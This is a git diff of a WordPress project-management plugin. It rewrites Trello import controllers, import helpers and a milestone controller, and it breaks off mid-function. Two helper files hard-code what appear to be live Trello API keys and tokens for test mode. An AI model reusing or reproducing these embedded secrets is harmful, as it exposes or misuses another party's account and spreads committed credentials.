$item->fileable_id, + 'fileable_type' => $item->fileable_type, + 'directory' => $item->directory, + 'attachment_id' => $item->attachment_id, + 'attached_at' => format_date( $item->created_at ), + 'fileable' => $this->get_fileabel($item), + 'meta' => $this->get_file_meta($item) + ]; + + return array_merge( $model_data, $file ); + } + + /** + * Getter for defaultIncludes. + * + * @return array + */ + public function getDefaultIncludes() + { + return apply_filters( "pm_file_transformer_default_includes", $this->defaultIncludes ); + } + + public function get_fileabel( $item ) { + + if ( $item->fileable_type == 'comment') { + $result = $item->comment()->get()->first(); + return $result->getAttributes(); + } + } + + public function get_file_meta($item){ + $itemArr = [] ; + foreach($item->meta as $meta){ + $itemArr[$meta->meta_key] = $meta->meta_value ; + } + return $itemArr ; + } +} diff --git a/src/Imports/Controllers/Trello_Controller.php b/src/Imports/Controllers/Trello_Controller.php index d412b74b1..bf6ceff0c 100644 --- a/src/Imports/Controllers/Trello_Controller.php +++ b/src/Imports/Controllers/Trello_Controller.php @@ -1,114 +1,114 @@ -get_param('app_key')); - $app_token = trim($request->get_param('app_token')); - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - - $trello_tree = []; - $trello_user = $trello_helper->get_trello_user(); - $trello_tree['user_id'] = $trello_user->idMember ; - - $trello_boards = $trello_helper->get_trello_boards($trello_user); - - $trello_tree['user_boards'] = array_chunk($trello_boards,5); - - $trello_lists = $trello_helper->get_trello_lists($trello_boards); - $trello_tree['user_boards_lists'] = $trello_lists; - - $trello_cards = $trello_helper->get_trello_cards($trello_lists); - $trello_tree['user_boards_lists_cards'] = $trello_cards; - - $trello_users = $trello_helper->get_trello_users($trello_cards); - $trello_tree['user_boards_lists_cards_users'] = $trello_users; - - $trello_users = $trello_helper->get_trello_checklist($trello_cards); - $trello_tree['user_boards_lists_cards_checklists'] = $trello_users; - - return $trello_tree ; - } - - public function get_user(WP_REST_Request $request){ - $app_key = trim($request->get_param('app_key')); - $app_token = trim($request->get_param('app_token')); - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - $trello_user = $trello_helper->get_trello_user(); - return $trello_user ; - } - - public function get_boards(WP_REST_Request $request){ - $trello_user = json_decode(json_encode($request->get_params())); - $app_key = trim($trello_user->formData->app_key); - $app_token = trim($trello_user->formData->app_token); - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - $trello_boards = $trello_helper->get_trello_boards($trello_user); - $trello_boards = Import_helper::save_imported_boards($trello_boards); - return $trello_boards ; - } - - public function get_lists(WP_REST_Request $request){ - $trello_boards = json_decode(json_encode($request->get_params())); - $app_key = trim($trello_boards->formData->app_key); - $app_token = trim($trello_boards->formData->app_token); - $trello_boards_data = $trello_boards->boards_data ; - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - $trello_lists = $trello_helper->get_trello_lists($trello_boards_data); - $trello_lists = Import_helper::save_imported_lists($trello_lists); - return $trello_lists ; - } - - public function get_cards(WP_REST_Request $request){ - $trello_lists = json_decode(json_encode($request->get_params())); - $app_key = trim($trello_lists->formData->app_key); - $app_token = trim($trello_lists->formData->app_token); - $trello_lists_data = $trello_lists->lists_data ; - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - $trello_cards = $trello_helper->get_trello_cards($trello_lists_data); - $trello_cards = Import_helper::save_imported_cards($trello_cards); - return $trello_cards ; - } - - public function get_users(WP_REST_Request $request){ - - $trello_cards = json_decode(json_encode($request->get_params())); - $app_key = trim($trello_cards->formData->app_key); - $app_token = trim($trello_cards->formData->app_token); - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - $trello_cards_data = $trello_cards->cards_data ; - $trello_users = $trello_helper->get_trello_users($trello_cards_data); - $trello_users = Import_helper::save_imported_user($trello_users); - return $trello_users ; - } - - public function get_subcards(WP_REST_Request $request){ - $trello_cards = json_decode(json_encode($request->get_params())); - $app_key = trim($trello_cards->formData->app_key); - $app_token = trim($trello_cards->formData->app_token); - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - $trello_cards_data = $trello_cards->cards_data ; - $trello_checklists = $trello_helper->get_trello_checklist($trello_cards_data); - $trello_checklists = Import_helper::save_imported_checklists($trello_checklists); - return $trello_checklists; - } - - +get_param('app_key')); + $app_token = trim($request->get_param('app_token')); + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + + $trello_tree = []; + $trello_user = $trello_helper->get_trello_user(); + $trello_tree['user_id'] = $trello_user->idMember ; + + $trello_boards = $trello_helper->get_trello_boards($trello_user); + + $trello_tree['user_boards'] = array_chunk($trello_boards,5); + + $trello_lists = $trello_helper->get_trello_lists($trello_boards); + $trello_tree['user_boards_lists'] = $trello_lists; + + $trello_cards = $trello_helper->get_trello_cards($trello_lists); + $trello_tree['user_boards_lists_cards'] = $trello_cards; + + $trello_users = $trello_helper->get_trello_users($trello_cards); + $trello_tree['user_boards_lists_cards_users'] = $trello_users; + + $trello_users = $trello_helper->get_trello_checklist($trello_cards); + $trello_tree['user_boards_lists_cards_checklists'] = $trello_users; + + return $trello_tree ; + } + + public function get_user(WP_REST_Request $request){ + $app_key = trim($request->get_param('app_key')); + $app_token = trim($request->get_param('app_token')); + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + $trello_user = $trello_helper->get_trello_user(); + return $trello_user ; + } + + public function get_boards(WP_REST_Request $request){ + $trello_user = json_decode(json_encode($request->get_params())); + $app_key = trim($trello_user->formData->app_key); + $app_token = trim($trello_user->formData->app_token); + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + $trello_boards = $trello_helper->get_trello_boards($trello_user); + $trello_boards = Import_helper::save_imported_boards($trello_boards); + return $trello_boards ; + } + + public function get_lists(WP_REST_Request $request){ + $trello_boards = json_decode(json_encode($request->get_params())); + $app_key = trim($trello_boards->formData->app_key); + $app_token = trim($trello_boards->formData->app_token); + $trello_boards_data = $trello_boards->boards_data ; + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + $trello_lists = $trello_helper->get_trello_lists($trello_boards_data); + $trello_lists = Import_helper::save_imported_lists($trello_lists); + return $trello_lists ; + } + + public function get_cards(WP_REST_Request $request){ + $trello_lists = json_decode(json_encode($request->get_params())); + $app_key = trim($trello_lists->formData->app_key); + $app_token = trim($trello_lists->formData->app_token); + $trello_lists_data = $trello_lists->lists_data ; + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + $trello_cards = $trello_helper->get_trello_cards($trello_lists_data); + $trello_cards = Import_helper::save_imported_cards($trello_cards); + return $trello_cards ; + } + + public function get_users(WP_REST_Request $request){ + + $trello_cards = json_decode(json_encode($request->get_params())); + $app_key = trim($trello_cards->formData->app_key); + $app_token = trim($trello_cards->formData->app_token); + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + $trello_cards_data = $trello_cards->cards_data ; + $trello_users = $trello_helper->get_trello_users($trello_cards_data); + $trello_users = Import_helper::save_imported_user($trello_users); + return $trello_users ; + } + + public function get_subcards(WP_REST_Request $request){ + $trello_cards = json_decode(json_encode($request->get_params())); + $app_key = trim($trello_cards->formData->app_key); + $app_token = trim($trello_cards->formData->app_token); + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + $trello_cards_data = $trello_cards->cards_data ; + $trello_checklists = $trello_helper->get_trello_checklist($trello_cards_data); + $trello_checklists = Import_helper::save_imported_checklists($trello_checklists); + return $trello_checklists; + } + + } \ No newline at end of file diff --git a/src/Imports/Controllers/Trello_Controller_backup.php b/src/Imports/Controllers/Trello_Controller_backup.php index a1296f25f..d9ec7e035 100644 --- a/src/Imports/Controllers/Trello_Controller_backup.php +++ b/src/Imports/Controllers/Trello_Controller_backup.php @@ -1,41 +1,41 @@ -get_param('app_key')); - $app_token = trim($request->get_param('app_token')); - $trello_helper = new Trello_helper($app_key,$app_token,'dev'); - - $trello_tree = []; - $trello_user = $trello_helper->get_trello_user(); - $trello_tree['user_id'] = $trello_user->idMember ; - - $trello_boards = $trello_helper->get_trello_boards($trello_user); - $trello_tree['user_boards'] = $trello_boards; - - $trello_lists = $trello_helper->get_trello_lists($trello_boards); - $trello_tree['user_boards_lists'] = $trello_lists; - - $trello_cards = $trello_helper->get_trello_cards($trello_lists); - $trello_tree['user_boards_lists_cards'] = $trello_cards; - - return $trello_tree ; - - } +get_param('app_key')); + $app_token = trim($request->get_param('app_token')); + $trello_helper = new Trello_helper($app_key,$app_token,'dev'); + + $trello_tree = []; + $trello_user = $trello_helper->get_trello_user(); + $trello_tree['user_id'] = $trello_user->idMember ; + + $trello_boards = $trello_helper->get_trello_boards($trello_user); + $trello_tree['user_boards'] = $trello_boards; + + $trello_lists = $trello_helper->get_trello_lists($trello_boards); + $trello_tree['user_boards_lists'] = $trello_lists; + + $trello_cards = $trello_helper->get_trello_cards($trello_lists); + $trello_tree['user_boards_lists_cards'] = $trello_cards; + + return $trello_tree ; + + } } \ No newline at end of file diff --git a/src/Imports/Helpers/Import_helper_back01.php b/src/Imports/Helpers/Import_helper_back01.php index 3efc53e7f..cb2accafc 100644 --- a/src/Imports/Helpers/Import_helper_back01.php +++ b/src/Imports/Helpers/Import_helper_back01.php @@ -1,167 +1,167 @@ -where('type',$type) - ->where('source',$source) - ->count(); - if($total > 0){ - return true ; - }else{ - return false ; - } - - } - - public static function save_imported_boards($boards){ - if(!empty($boards)){ - foreach($boards as $brds){ - $if_exist = self::check_if_exsit($brds->id,'trello','boards'); - if(!$if_exist){ - $data = [ - 'title' => $brds->name, - 'description' => $brds->desc, - 'notify_users' => false, - 'status' => (!$brds->closed) ? 'incomplete' : 'completed', - ]; - $response = Project::create($data); - $response_data = [ - 'type' => 'boards', - 'remote_id' => $brds->id, - 'local_id' => $response->id , - 'creator_id' => get_current_user_id(), - 'source' => 'trello' - ]; - Import::create($response_data); - } - } - } - return $boards ; - } - - public static function save_imported_lists($lists){ - if(!empty($lists)){ - foreach($lists as $list){ - foreach($list as $lst){ - $remote_id = $lst->idBoard . '_' . $lst->id ; - $if_exist = self::check_if_exsit($remote_id,'trello','boards_lists'); - if(!$if_exist){ - $project = Import::where('remote_id',$lst->idBoard) - ->where('type','boards') - ->where('source','trello') - ->first(); - $data = [ - 'project_id' => $project->local_id, - 'title' => $lst->name, - 'description' => '', - 'milestone' => -1, - 'privacy' => false - ]; - $response = Task_List::create( $data ); - $response_data = [ - 'type' => 'boards_lists', - 'remote_id' => $remote_id, - 'local_id' => $response->id , - 'creator_id' => get_current_user_id(), - 'source' => 'trello' - ]; - Import::create($response_data); - } - } - } - } - return $lists ; - } - - public static function save_imported_cards($cards){ - if(!empty($cards)){ - foreach($cards as $card){ - foreach($card as $crd){ - $remote_id = $crd->idBoard . '_' . $crd->idList . '_' . $crd->id; - $if_exist = self::check_if_exsit($remote_id,'trello','boards_lists_cards'); - if(!$if_exist){ - $project = Import::where('remote_id',$crd->idBoard) - ->where('type','boards') - ->where('source','trello') - ->first(); - $task_list = Import::where('remote_id',$crd->idBoard.'_'.$crd->idList) - ->where('type','boards_lists') - ->where('source','trello') - ->first(); - $data = [ - 'project_id' => $project->local_id, - 'board_id' => $task_list->local_id, - 'assignees' => [0], - 'title' => $crd->name, - 'description' => $crd->desc, - 'list_id' => $task_list->local_id, - '' => '', - ]; - $response = Task::create( $data ); - $boardables = [ - 'board_id'=>$task_list->local_id, - 'board_type'=>'task_list', - 'boardable_id'=>$response->id, - 'boardable_type'=>'task' - ]; - Boardable::create($boardables); - $response_data = [ - 'type' => 'boards_lists_cards', - 'remote_id' => $remote_id, - 'local_id' => $response->id , - 'creator_id' => get_current_user_id(), - 'source' => 'trello' - ]; - Import::create($response_data); - } - - } - } - } - return $cards ; - } - - public static function save_imported_checklists($checklists){ - if(!empty($checklists)){ - foreach($checklists as $checklist){ - foreach($checklist as $chklst){ - $remote_id = $chklst->idBoard . '_' . $chklst->idCard . '_' . $chklst->id; - $if_exist = self::check_if_exsit($remote_id,'trello','boards_lists_cards_checklist'); - if(!$if_exist){ - $project = Import::where('remote_id',$chklst->idBoard) - ->where('type','boards') - ->where('source','trello') - ->first(); - $cards = Import::where('remote_id',$chklst->idBoard) - ->where('type','boards') - ->where('source','trello') - ->first(); - } - /*Array - ( - [task_id] => 160 - [project_id] => 40 - [board_id] => 53 - [title] => sdasdas - [parent_id] => 160 - [is_admin] => 1 - )*/ - - - } - } - } - } - - +where('type',$type) + ->where('source',$source) + ->count(); + if($total > 0){ + return true ; + }else{ + return false ; + } + + } + + public static function save_imported_boards($boards){ + if(!empty($boards)){ + foreach($boards as $brds){ + $if_exist = self::check_if_exsit($brds->id,'trello','boards'); + if(!$if_exist){ + $data = [ + 'title' => $brds->name, + 'description' => $brds->desc, + 'notify_users' => false, + 'status' => (!$brds->closed) ? 'incomplete' : 'completed', + ]; + $response = Project::create($data); + $response_data = [ + 'type' => 'boards', + 'remote_id' => $brds->id, + 'local_id' => $response->id , + 'creator_id' => get_current_user_id(), + 'source' => 'trello' + ]; + Import::create($response_data); + } + } + } + return $boards ; + } + + public static function save_imported_lists($lists){ + if(!empty($lists)){ + foreach($lists as $list){ + foreach($list as $lst){ + $remote_id = $lst->idBoard . '_' . $lst->id ; + $if_exist = self::check_if_exsit($remote_id,'trello','boards_lists'); + if(!$if_exist){ + $project = Import::where('remote_id',$lst->idBoard) + ->where('type','boards') + ->where('source','trello') + ->first(); + $data = [ + 'project_id' => $project->local_id, + 'title' => $lst->name, + 'description' => '', + 'milestone' => -1, + 'privacy' => false + ]; + $response = Task_List::create( $data ); + $response_data = [ + 'type' => 'boards_lists', + 'remote_id' => $remote_id, + 'local_id' => $response->id , + 'creator_id' => get_current_user_id(), + 'source' => 'trello' + ]; + Import::create($response_data); + } + } + } + } + return $lists ; + } + + public static function save_imported_cards($cards){ + if(!empty($cards)){ + foreach($cards as $card){ + foreach($card as $crd){ + $remote_id = $crd->idBoard . '_' . $crd->idList . '_' . $crd->id; + $if_exist = self::check_if_exsit($remote_id,'trello','boards_lists_cards'); + if(!$if_exist){ + $project = Import::where('remote_id',$crd->idBoard) + ->where('type','boards') + ->where('source','trello') + ->first(); + $task_list = Import::where('remote_id',$crd->idBoard.'_'.$crd->idList) + ->where('type','boards_lists') + ->where('source','trello') + ->first(); + $data = [ + 'project_id' => $project->local_id, + 'board_id' => $task_list->local_id, + 'assignees' => [0], + 'title' => $crd->name, + 'description' => $crd->desc, + 'list_id' => $task_list->local_id, + '' => '', + ]; + $response = Task::create( $data ); + $boardables = [ + 'board_id'=>$task_list->local_id, + 'board_type'=>'task_list', + 'boardable_id'=>$response->id, + 'boardable_type'=>'task' + ]; + Boardable::create($boardables); + $response_data = [ + 'type' => 'boards_lists_cards', + 'remote_id' => $remote_id, + 'local_id' => $response->id , + 'creator_id' => get_current_user_id(), + 'source' => 'trello' + ]; + Import::create($response_data); + } + + } + } + } + return $cards ; + } + + public static function save_imported_checklists($checklists){ + if(!empty($checklists)){ + foreach($checklists as $checklist){ + foreach($checklist as $chklst){ + $remote_id = $chklst->idBoard . '_' . $chklst->idCard . '_' . $chklst->id; + $if_exist = self::check_if_exsit($remote_id,'trello','boards_lists_cards_checklist'); + if(!$if_exist){ + $project = Import::where('remote_id',$chklst->idBoard) + ->where('type','boards') + ->where('source','trello') + ->first(); + $cards = Import::where('remote_id',$chklst->idBoard) + ->where('type','boards') + ->where('source','trello') + ->first(); + } + /*Array + ( + [task_id] => 160 + [project_id] => 40 + [board_id] => 53 + [title] => sdasdas + [parent_id] => 160 + [is_admin] => 1 + )*/ + + + } + } + } + } + + } \ No newline at end of file diff --git a/src/Imports/Helpers/Trello_helper.php b/src/Imports/Helpers/Trello_helper.php index 69bcf9458..7e19986f9 100644 --- a/src/Imports/Helpers/Trello_helper.php +++ b/src/Imports/Helpers/Trello_helper.php @@ -1,171 +1,171 @@ -setup_trello($api_key,$token,$mode); - } - - private function setup_trello($api_key,$token,$mode){ - if($mode == 'test'){ - $this->api_key = '1156d2bb824b52972adb358326a75061'; - $this->token = '2c9c552cb5568f896b3e3acae25f5fecda06b09ade5101fe68182a2c4b0ea015'; - }else{ - $this->api_key = $api_key ; - $this->token = $token ; - } - $this->api= 'https://api.trello.com/1/'; - $this->key_bind = 'key='. $this->api_key .'&token='. $this->token ; - } - - public function remote_addr($source,$querystring){ - $url_string = ''; - if(is_array($querystring) && !empty($querystring)){ - foreach($querystring as $qs_key => $qs_val){ - $url_string .= $qs_key . '=' . $qs_val . '&' ; - } - } - $url = $this->api . $source . '?' . $url_string . $this->key_bind ; - return $url ; - } - - public function make_request($source,$querystring,$calback){ - // Get cURL resource - $curl = curl_init(); - // Set some options - we are passing in a useragent too here - curl_setopt_array($curl, [ - CURLOPT_RETURNTRANSFER => 1, - CURLOPT_URL => $this->remote_addr($source,$querystring) - ]); - // Send the request & save response to $resp - $resp = curl_exec($curl); - // Close request to clear up some resources - curl_close($curl); - return $calback($resp); - } - - public function get_trello_user(){ - return $this->make_request('token/'.$this->token ,[],function($data){ - return json_decode($data) ; - }); - } - - public function get_trello_boards($trello_user){ - return $this->make_request( - 'members/' . $trello_user->idMember . '/boards', - [ - 'fields' => 'id,name,desc,closed,dateLastActivity,memberships' - ], - function($data){ - return json_decode($data) ; - }) ; - } - - public function get_trello_lists($trello_boards){ - $trello_lists = []; - if(!empty($trello_boards)){ - foreach($trello_boards as $tb){ - $trello_lists[$tb->id] =$this->make_request( - 'boards/' . $tb->id . '/lists', - [], - function($data){ - return json_decode($data) ; - }) ; - } - } - return $trello_lists; - } - - public function get_trello_cards($trello_lists){ - $trello_cards = []; - if(!empty($trello_lists)){ - foreach($trello_lists as $trlst){ - foreach ($trlst as $tl) { - $card_res = $this->make_request( - 'lists/' . $tl->id . '/cards', - [ - /*'fields' => 'name,desc,closed,id,dateLastActivity,idBoard,idList'*/ - ], - function ($data) { - return json_decode($data); - }); - if(!empty($card_res)){ - $trello_cards[$tl->id] = $card_res ; - } - } - } - } - return $trello_cards; - } - - public function get_trello_checklist($trello_cards){ - $trello_checklists_arr = []; - foreach($trello_cards as $tcs){ - if(!empty($tcs)){ - foreach($tcs as $tc){ - $checklists_res = $this->make_request( - 'cards/' . $tc->id . '/checklists', - [ - 'fields' => 'all' - ], - function ($data) { - return json_decode($data); - }); - if(!empty($checklists_res)){ - $checkItem = []; - foreach($checklists_res as $checklists_re){ - foreach($checklists_re->checkItems as $checkItems){ - $curcheckItems = new \stdClass(); - $curcheckItems->id = $checkItems->id ; - $curcheckItems->idBoard = $checklists_re->idBoard ; - $curcheckItems->idCard = $checklists_re->idCard ; - $curcheckItems->name = $checkItems->name ; - $checkItem[] = $curcheckItems ; - } - } - //$trello_checklists_arr[$tc->id] = $checklists_res ; - $trello_checklists_arr[$tc->id] = array_merge($checklists_res,$checkItem) ; - } - } - } - } - return $trello_checklists_arr ; - } - - public function get_trello_users($trello_cards){ - $trello_users_arr = []; - foreach($trello_cards as $tcs){ - if(!empty($tcs)){ - foreach($tcs as $tc){ - $user_res = $this->make_request( - 'cards/' . $tc->id . '/members', - [ - 'fields' => 'all' - ], - function ($data) { - return json_decode($data); - }); - if(!empty($user_res)){ - $trello_users_arr[$tc->id] = [ - 'user_res' => $user_res, - 'project_id' => $tc->idBoard, - 'list_id' => $tc->idList, - 'task_id' => $tc->id - ] ; - } - } - } - } - return $trello_users_arr ; - } - +setup_trello($api_key,$token,$mode); + } + + private function setup_trello($api_key,$token,$mode){ + if($mode == 'test'){ + $this->api_key = '1156d2bb824b52972adb358326a75061'; + $this->token = '2c9c552cb5568f896b3e3acae25f5fecda06b09ade5101fe68182a2c4b0ea015'; + }else{ + $this->api_key = $api_key ; + $this->token = $token ; + } + $this->api= 'https://api.trello.com/1/'; + $this->key_bind = 'key='. $this->api_key .'&token='. $this->token ; + } + + public function remote_addr($source,$querystring){ + $url_string = ''; + if(is_array($querystring) && !empty($querystring)){ + foreach($querystring as $qs_key => $qs_val){ + $url_string .= $qs_key . '=' . $qs_val . '&' ; + } + } + $url = $this->api . $source . '?' . $url_string . $this->key_bind ; + return $url ; + } + + public function make_request($source,$querystring,$calback){ + // Get cURL resource + $curl = curl_init(); + // Set some options - we are passing in a useragent too here + curl_setopt_array($curl, [ + CURLOPT_RETURNTRANSFER => 1, + CURLOPT_URL => $this->remote_addr($source,$querystring) + ]); + // Send the request & save response to $resp + $resp = curl_exec($curl); + // Close request to clear up some resources + curl_close($curl); + return $calback($resp); + } + + public function get_trello_user(){ + return $this->make_request('token/'.$this->token ,[],function($data){ + return json_decode($data) ; + }); + } + + public function get_trello_boards($trello_user){ + return $this->make_request( + 'members/' . $trello_user->idMember . '/boards', + [ + 'fields' => 'id,name,desc,closed,dateLastActivity,memberships' + ], + function($data){ + return json_decode($data) ; + }) ; + } + + public function get_trello_lists($trello_boards){ + $trello_lists = []; + if(!empty($trello_boards)){ + foreach($trello_boards as $tb){ + $trello_lists[$tb->id] =$this->make_request( + 'boards/' . $tb->id . '/lists', + [], + function($data){ + return json_decode($data) ; + }) ; + } + } + return $trello_lists; + } + + public function get_trello_cards($trello_lists){ + $trello_cards = []; + if(!empty($trello_lists)){ + foreach($trello_lists as $trlst){ + foreach ($trlst as $tl) { + $card_res = $this->make_request( + 'lists/' . $tl->id . '/cards', + [ + /*'fields' => 'name,desc,closed,id,dateLastActivity,idBoard,idList'*/ + ], + function ($data) { + return json_decode($data); + }); + if(!empty($card_res)){ + $trello_cards[$tl->id] = $card_res ; + } + } + } + } + return $trello_cards; + } + + public function get_trello_checklist($trello_cards){ + $trello_checklists_arr = []; + foreach($trello_cards as $tcs){ + if(!empty($tcs)){ + foreach($tcs as $tc){ + $checklists_res = $this->make_request( + 'cards/' . $tc->id . '/checklists', + [ + 'fields' => 'all' + ], + function ($data) { + return json_decode($data); + }); + if(!empty($checklists_res)){ + $checkItem = []; + foreach($checklists_res as $checklists_re){ + foreach($checklists_re->checkItems as $checkItems){ + $curcheckItems = new \stdClass(); + $curcheckItems->id = $checkItems->id ; + $curcheckItems->idBoard = $checklists_re->idBoard ; + $curcheckItems->idCard = $checklists_re->idCard ; + $curcheckItems->name = $checkItems->name ; + $checkItem[] = $curcheckItems ; + } + } + //$trello_checklists_arr[$tc->id] = $checklists_res ; + $trello_checklists_arr[$tc->id] = array_merge($checklists_res,$checkItem) ; + } + } + } + } + return $trello_checklists_arr ; + } + + public function get_trello_users($trello_cards){ + $trello_users_arr = []; + foreach($trello_cards as $tcs){ + if(!empty($tcs)){ + foreach($tcs as $tc){ + $user_res = $this->make_request( + 'cards/' . $tc->id . '/members', + [ + 'fields' => 'all' + ], + function ($data) { + return json_decode($data); + }); + if(!empty($user_res)){ + $trello_users_arr[$tc->id] = [ + 'user_res' => $user_res, + 'project_id' => $tc->idBoard, + 'list_id' => $tc->idList, + 'task_id' => $tc->id + ] ; + } + } + } + } + return $trello_users_arr ; + } + } \ No newline at end of file diff --git a/src/Imports/Helpers/Trello_helper_backup.php b/src/Imports/Helpers/Trello_helper_backup.php index bbca637ef..a12d98f98 100644 --- a/src/Imports/Helpers/Trello_helper_backup.php +++ b/src/Imports/Helpers/Trello_helper_backup.php @@ -1,110 +1,110 @@ -setup_trello($api_key,$token,$mode); - } - - private function setup_trello($api_key,$token,$mode){ - if($mode == 'test'){ - $this->api_key = '69c86e5dab81926587546b9ad917343a'; - $this->token = '8c5109b0436f524e1ea62e72d417d80b776a2df206cf3ecf8b88c36485270cb6'; - }else{ - $this->api_key = $api_key ; - $this->token = $token ; - } - $this->api= 'https://api.trello.com/1/'; - $this->key_bind = 'key='. $this->api_key .'&token='. $this->token ; - } - - public function remote_addr($source,$querystring){ - if(is_array($querystring) && !empty($querystring)){ - $url_string = ''; - foreach($querystring as $qs_key => $qs_val){ - $url_string .= $qs_key . '=' . $qs_val . '&' ; - } - } - $url = $this->api . $source . '?' . $url_string . $this->key_bind ; - return $url ; - } - - public function make_request($source,$querystring,$calback){ - // Get cURL resource - $curl = curl_init(); - // Set some options - we are passing in a useragent too here - curl_setopt_array($curl, [ - CURLOPT_RETURNTRANSFER => 1, - CURLOPT_URL => $this->remote_addr($source,$querystring) - ]); - // Send the request & save response to $resp - $resp = curl_exec($curl); - // Close request to clear up some resources - curl_close($curl); - return $calback($resp); - } - - public function get_trello_user(){ - return $this->make_request('token/'.$this->token ,[],function($data){ - return json_decode($data) ; - }); - } - - public function get_trello_boards($trello_user){ - return $this->make_request( - 'members/' . $trello_user->idMember . '/boards', - [ - 'fields' => 'id,name,desc,closed,dateLastActivity' - ], - function($data){ - return json_decode($data) ; - }) ; - } - - public function get_trello_lists($trello_boards){ - $trello_lists = []; - if(!empty($trello_boards)){ - foreach($trello_boards as $tb){ - $trello_lists[$tb->id] =$this->make_request( - 'boards/' . $tb->id . '/lists', - [], - function($data){ - return json_decode($data) ; - }) ; - } - } - return $trello_lists; - } - - public function get_trello_cards($trello_lists){ - $trello_cards = []; - if(!empty($trello_lists)){ - foreach($trello_lists as $trlst){ - foreach ($trlst as $tl) { - $card_res = $this->make_request( - 'lists/' . $tl->id . '/cards', - [ - 'fields' => 'name,desc,closed,id,dateLastActivity,idBoard,idList' - ], - function ($data) { - return json_decode($data); - }); - if(!empty($card_res)){ - $trello_cards[$tl->id] = $card_res ; - } - } - } - } - return $trello_cards; - } +setup_trello($api_key,$token,$mode); + } + + private function setup_trello($api_key,$token,$mode){ + if($mode == 'test'){ + $this->api_key = '69c86e5dab81926587546b9ad917343a'; + $this->token = '8c5109b0436f524e1ea62e72d417d80b776a2df206cf3ecf8b88c36485270cb6'; + }else{ + $this->api_key = $api_key ; + $this->token = $token ; + } + $this->api= 'https://api.trello.com/1/'; + $this->key_bind = 'key='. $this->api_key .'&token='. $this->token ; + } + + public function remote_addr($source,$querystring){ + if(is_array($querystring) && !empty($querystring)){ + $url_string = ''; + foreach($querystring as $qs_key => $qs_val){ + $url_string .= $qs_key . '=' . $qs_val . '&' ; + } + } + $url = $this->api . $source . '?' . $url_string . $this->key_bind ; + return $url ; + } + + public function make_request($source,$querystring,$calback){ + // Get cURL resource + $curl = curl_init(); + // Set some options - we are passing in a useragent too here + curl_setopt_array($curl, [ + CURLOPT_RETURNTRANSFER => 1, + CURLOPT_URL => $this->remote_addr($source,$querystring) + ]); + // Send the request & save response to $resp + $resp = curl_exec($curl); + // Close request to clear up some resources + curl_close($curl); + return $calback($resp); + } + + public function get_trello_user(){ + return $this->make_request('token/'.$this->token ,[],function($data){ + return json_decode($data) ; + }); + } + + public function get_trello_boards($trello_user){ + return $this->make_request( + 'members/' . $trello_user->idMember . '/boards', + [ + 'fields' => 'id,name,desc,closed,dateLastActivity' + ], + function($data){ + return json_decode($data) ; + }) ; + } + + public function get_trello_lists($trello_boards){ + $trello_lists = []; + if(!empty($trello_boards)){ + foreach($trello_boards as $tb){ + $trello_lists[$tb->id] =$this->make_request( + 'boards/' . $tb->id . '/lists', + [], + function($data){ + return json_decode($data) ; + }) ; + } + } + return $trello_lists; + } + + public function get_trello_cards($trello_lists){ + $trello_cards = []; + if(!empty($trello_lists)){ + foreach($trello_lists as $trlst){ + foreach ($trlst as $tl) { + $card_res = $this->make_request( + 'lists/' . $tl->id . '/cards', + [ + 'fields' => 'name,desc,closed,id,dateLastActivity,idBoard,idList' + ], + function ($data) { + return json_decode($data); + }); + if(!empty($card_res)){ + $trello_cards[$tl->id] = $card_res ; + } + } + } + } + return $trello_cards; + } } \ No newline at end of file diff --git a/src/Milestone/Controllers/Milestone_Controller.php b/src/Milestone/Controllers/Milestone_Controller.php index af7db7c68..18e001c8f 100644 --- a/src/Milestone/Controllers/Milestone_Controller.php +++ b/src/Milestone/Controllers/Milestone_Controller.php @@ -1,246 +1,246 @@ -get_param( 'project_id' ); - $per_page = $request->get_param( 'per_page' ); - $status = $request->get_param( 'status' ); - $per_page = $per_page ? $per_page : -1; - - $page = $request->get_param( 'page' ); - $page = $page ? $page : 1; - - Paginator::currentPageResolver(function () use ($page) { - return $page; - }); - - $milestones = Milestone::with('metas') - ->where( 'project_id', $project_id ); - - if ( ! empty( $status ) ) { - $milestones = $milestones->where( 'status', $status); - } - - $milestones = apply_filters("pm_milestone_index_query", $milestones, $project_id, $request ); - - if ( $per_page == '-1' ) { - $per_page = $milestones->count(); - } - - $milestones = $milestones->paginate( $per_page ); - - $milestone_collection = $milestones->getCollection(); - - $resource = new Collection( $milestone_collection, new Milestone_Transformer ); - $resource->setPaginator( new IlluminatePaginatorAdapter( $milestones ) ); - return $this->get_response( $resource ); - } - - private function get_milestone_collection( $metas = [] ) { - $milestones = []; - - foreach ($metas as $meta) { - $milestones[] = $meta->milestone; - } - - return $milestones; - } - - public function show( WP_REST_Request $request ) { - $project_id = $request->get_param( 'project_id' ); - $milestone_id = $request->get_param( 'milestone_id' ); - - $milestone = Milestone::where( 'id', $milestone_id ) - ->where( 'project_id', $project_id ); - $milestone = apply_filters( "pm_milestone_show_query", $milestone, $project_id, $request ); - $milestone = $milestone->first(); - if ( $milestone == NULL ) { - return $this->get_response( null, [ - 'message' => pm_get_text('success_messages.no_element') - ] ); - } - $resource = new Item( $milestone, new Milestone_Transformer ); - - return $this->get_response( $resource ); - } - - public static function create_milestone( $data ) { - $self = self::getInstance(); - $is_private = $data[ 'privacy' ]; - $data['is_private'] = $is_private == 'true' || $is_private === true ? 1 : 0; - // Milestone achieve date - $achieve_date = $data['achieve_date']; - - // Create a milestone - $milestone = Milestone::create( $data ); - - // Set 'achieve_date' as milestone meta data - Meta::create([ - 'entity_id' => $milestone->id, - 'entity_type' => 'milestone', - 'meta_key' => 'achieve_date', - 'meta_value' => $achieve_date ? date( 'Y-m-d H:i:s', strtotime( $achieve_date ) ) : null, - 'project_id' => $milestone->project_id, - ]); - - do_action("pm_new_milestone_before_response", $milestone, $data ); - // Transform milestone data - $resource = new Item( $milestone, new Milestone_Transformer ); - - $message = [ - 'message' => 